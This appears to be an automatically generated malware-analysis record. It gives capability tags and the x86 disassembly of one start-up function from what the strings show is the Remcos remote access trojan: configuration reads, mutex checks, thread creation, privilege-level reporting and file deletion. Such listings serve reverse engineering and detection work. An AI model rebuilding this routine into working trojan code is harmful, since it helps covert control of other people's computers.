Function at 0x40dd7c
Capabilities:
Check mutex on windows
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x30c
mov dword [0x470d40], eax
push ebx
push esi
push edi
call fcn.0041b047
push 0x104
push 0x470b38
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea ecx, [esp + 0x48]
call fcn.0040e78e
sub esp, 0x18
mov ecx, esp
push 0x4732b4
call fcn.004020d6
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.004020d6
lea ecx, [esp + 0x60]
call fcn.0041a4f4
add esp, 0x30
push eax
call fcn.0040ef08
lea ecx, [esp + 0x30]
call fcn.00401e6d
push 0x465338
push dword [ebp + 0x10]
call fcn.0043e170
pop ecx
pop ecx
test eax, eax
jne 0x40de4a
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.0040efa4
push 0x34
mov ecx, 0x473290
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.00410328
lea ecx, [esp + 0x60]
call fcn.0040ef55
lea ecx, [esp + 0x60]
call fcn.0040e77b
xor esi, esi
inc esi
jmp 0x40e2d6
push 3
pop ebx
mov esi, 0x473290
push ebx
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x46408c
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470b32]
call fcn.00401e45
push eax
mov edx, str.Software_
lea ecx, [esp + 0x20]
call fcn.004052fe
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00408832
pop ecx
push eax
mov ecx, 0x473230
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
lea ecx, [esp + 0x18]
call fcn.00401fb8
push 0xe
mov ecx, esi
call fcn.00401e45
push eax
mov ecx, 0x473260
call fcn.00401fa0
push 0x46535c
mov ecx, 0x4732cc
call fcn.00405a86
push edi
push 0x32
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.004051c3
push edi
push 0x33
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470d4b]
call fcn.00401e45
mov ecx, eax
call fcn.004051c3
cmp byte [eax], 0
setne byte [0x470d60]
cmp byte [0x470d4b], 0
je 0x40df65
push 0x465360
mov edx, 0x473260
lea ecx, [esp + 0x1c]
call fcn.00406292
pop ecx
push eax
mov ecx, 0x473368
call fcn.00401fc2
lea ecx, [esp + 0x18]
call fcn.00401fb8
lea eax, [esp + 0x10]
mov dword [esp + 0x10], edi
push eax
push 0x465364
mov ecx, 0x473230
call fcn.00401f8b
mov edx, eax
call fcn.004126ee
pop ecx
pop ecx
test al, al
jne 0x40e71f
push 0xd
mov ecx, esi
mov dword [esp + 0x18], edi
call fcn.00401e45
mov edx, 0x4640ec
mov ecx, eax
call fcn.00410546
test al, al
je 0x40dff4
push 7
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push edi
push 0x100000
call dword [sym.imp.KERNEL32.DLL_OpenMutexA]
mov esi, eax
test esi, esi
je 0x40dfb8
push 0xea60
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [esp + 0x14]
mov esi, 0x473230
push eax
push 0x465368
mov ecx, esi
call fcn.00401f8b
mov edx, eax
call fcn.004126ee
pop ecx
pop ecx
test al, al
je 0x40dfef
push 0x465368
mov ecx, esi
call fcn.00401f8b
mov edx, eax
call fcn.00412b4e
pop ecx
mov esi, 0x473290
call fcn.0040c4b9
test eax, eax
jne 0x40e004
push 2
jmp 0x40e2d5
mov eax, dword [0x472adc]
test eax, eax
je 0x40e00f
call eax
call fcn.00419a10
mov eax, dword [0x472ae8]
test eax, eax
je 0x40e024
call eax
mov dword [0x46f9d0], eax
cmp dword [esp + 0x14], edi
jne 0x40e067
call fcn.00406d8a
test eax, eax
je 0x40e03d
call fcn.00406dac
call fcn.004068d4
push 0x2e
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40e067
cmp dword [0x472ae8], edi
je 0x40e067
cmp dword [0x46f9d0], edi
jne 0x40e067
call fcn.004068d4
push 0x27
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40e081
call fcn.00406dc9
push 0xb
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
mov ecx, 0x473200
call fcn.004086cb
push 4
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470b33]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470b30]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push ebx
mov ecx, esi
cmp byte [eax], 0
setne byte [0x470b31]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40e164
push 0x30
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.00439f5b
pop ecx
test eax, eax
je 0x40e164
push 9
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x30
mov ecx, 0x473290
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dl, byte [esi]
lea ecx, [esp + 0x18]
push eax
call fcn.0040ce7a
pop ecx
push eax
mov ecx, 0x473248
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
mov esi, 0x473290
cmp dword [esp + 0x14], edi
jne 0x40e2ea
cmp byte [0x470b32], 0
je 0x40e1f3
push 0x1e
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0xc
mov ecx, esi
mov bh, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 9
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
test bh, bh
mov esi, eax
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0x473290
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push 0x30
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov cl, byte [esi]
mov edx, eax
call fcn.0040c249
add esp, 0xc
jmp 0x40e202
push 0x470b38
mov ecx, 0x473218
call fcn.004086cb
mov ecx, 0x473218
call fcn.0040245c
push 2
xor ebx, ebx
inc eax
pop ecx
mul ecx
seto bl
neg ebx
or ebx, eax
push ebx
call fcn.00432bfc
mov esi, eax
pop ecx
test esi, esi
je 0x40e235
push ebx
push edi
push esi
call fcn.00435330
add esp, 0xc
jmp 0x40e237
mov esi, edi
mov ecx, 0x473218
call fcn.00401ee4
push eax
push esi
call fcn.0043dc74
pop ecx
mov ebx, 0x473278
mov ecx, ebx
call fcn.0040245c
push eax
mov ecx, ebx
call fcn.00401f8b
push eax
mov ecx, 0x473218
call fcn.0040245c
mov ecx, 0x473230
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00401f8b
mov edx, eax
call fcn.00412aec
push esi
call fcn.00432c05
add esp, 0x1c
mov esi, 0x473290
mov ecx, esi
push 0xd
call fcn.00401e45
mov edx, 0x4640ec
mov ecx, eax
call fcn.00410546
test al, al
je 0x40e34f
push 0xd
mov ecx, esi
call fcn.00401e45
sub esp, 0x18
mov edx, eax
mov ecx, esp
call fcn.0041a337
call fcn.0040e83f
add esp, 0x18
cmp al, 1
jne 0x40e34f
push 3
pop esi
lea ecx, [esp + 0x48]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.00435330
add esp, 0xc
mov ebx, 0x473278
mov ecx, ebx
call fcn.0040245c
push eax
mov ecx, ebx
call fcn.00401f8b
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0x473230
push eax
push str.exepath
call fcn.00401f8b
mov edx, eax
call fcn.0041289d
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0x473218
push eax
call fcn.004086cb
mov esi, 0x473290
push 1
push 0x34
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402073
push str.licence
mov ecx, 0x473230
call fcn.00401f8b
mov edx, eax
call fcn.00412914
add esp, 0x20
mov ecx, esi
push 0x28
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.00439f31
mov byte [0x470d48], al
pop ecx
cmp al, 2
jne 0x40e3c0
mov cl, 1
call fcn.0041b1ff
push edi
push edi
push edi
push 0x41b8c1
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
call edi
jmp 0x40e3ce
cmp al, 1
jne 0x40e3c8
xor cl, cl
jmp 0x40e3a7
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x463f74
call fcn.00402073
call fcn.00419c3c
add esp, 0x30
mov ecx, esi
push 0x37
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x10
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0xf
mov ecx, esi
mov al, byte [eax]
mov dword [esp + 0x14], eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
test bl, bl
mov esi, eax
mov ebx, 0x473290
setne cl
movzx ecx, cl
push ecx
push 0x36
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.00439f31
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push 0x31
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push dword [esp + 0x20]
movzx eax, byte [esi]
push eax
call fcn.0040949a
push 0x14
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e4d1
push 2
pop eax
push eax
call fcn.00432931
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x473290
mov byte [esi], bl
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x418701
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x40e4d3
xor ebx, ebx
mov esi, 0x473290
push 0x16
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e529
push 2
pop eax
push eax
call fcn.00432931
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x473290
mov byte [esi], 1
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x418701
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x473290
push 0x23
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e59c
push 0x25
mov ecx, esi
mov byte [0x470a85], 1
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x26
mov ecx, 0x473290
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dl, byte [esi]
lea ecx, [esp + 0x18]
push eax
call fcn.0040ce2e
pop ecx
push eax
mov ecx, 0x472d38
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
push ebx
push ebx
push ebx
push 0x401bc9
push ebx
push ebx
call edi
mov esi, 0x473290
push 0x2b
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 1
jne 0x40e5ea
push 0x2c
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x2d
mov ecx, 0x473290
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.00439f31
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.0040b61e
lea ecx, [esp + 0x18]
call fcn.00419d5a
push eax
mov ecx, 0x47329c
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
mov eax, dword [0x472ae0]
test eax, eax
je 0x40e613
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40eb98
push ebx
push ebx
call edi
cmp byte [0x470d4b], 0
je 0x40e634
push ebx
push ebx
push ebx
push fcn.004114f7
push ebx
push ebx
call edi
cmp byte [0x470d60], 0
je 0x40e649
push ebx
push ebx
push ebx
push 0x411adb
push ebx
push ebx
call edi
mov eax, dword [0x46f9d0]
sub eax, ebx
je 0x40e65e
sub eax, 1
jne 0x40e69c
push str.Administrator
jmp 0x40e663
push str.User
lea ecx, [esp + 0x1c]
call fcn.00402073
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x463f74
call fcn.00402073
call fcn.00419c3c
add esp, 0x30
lea ecx, [esp + 0x18]
call fcn.00401fb8
mov edi, 0x473230
push 0x4653b8
mov ecx, edi
call fcn.00401f8b
mov edx, eax
call fcn.004126a4
pop ecx
test al, al
je 0x40e775
push 0x464f34
mov edx, edi
lea ecx, [esp + 0x1c]
call fcn.0041a337
mov ecx, eax
call fcn.00401ee4
push eax
mov edx, closesocket
lea ecx, [esp + 0x38]
call fcn.004127c0
pop ecx
pop ecx
lea ecx, [esp + 0x18]
call fcn.00401ee9
lea ecx, [esp + 0x30]
call fcn.00401ee4
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x40e716
cmp ebx, 0xa
jge 0x40e73f
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x30]
call fcn.00401ee4
push eax
call esi
test eax, eax
je 0x40e6ff
jmp 0x40e73f
push 0x465364
mov ecx, 0x473230
call fcn.00401f8b
mov edx, eax
call fcn.00412b4e
pop ecx
mov ecx, dword [esp + 0x10]
call fcn.00411875
push 0x464f34
mov edx, edi
lea ecx, [esp + 0x1c]
call fcn.0041a337
mov ecx, eax
call fcn.00401ee4
mov edx, eax
mov ecx, closesocket
call fcn.00412bc8
pop ecx
lea ecx, [esp + 0x18]
call fcn.00401ee9
lea ecx, [esp + 0x30]
call fcn.00401ee9
call fcn.0041412e
int3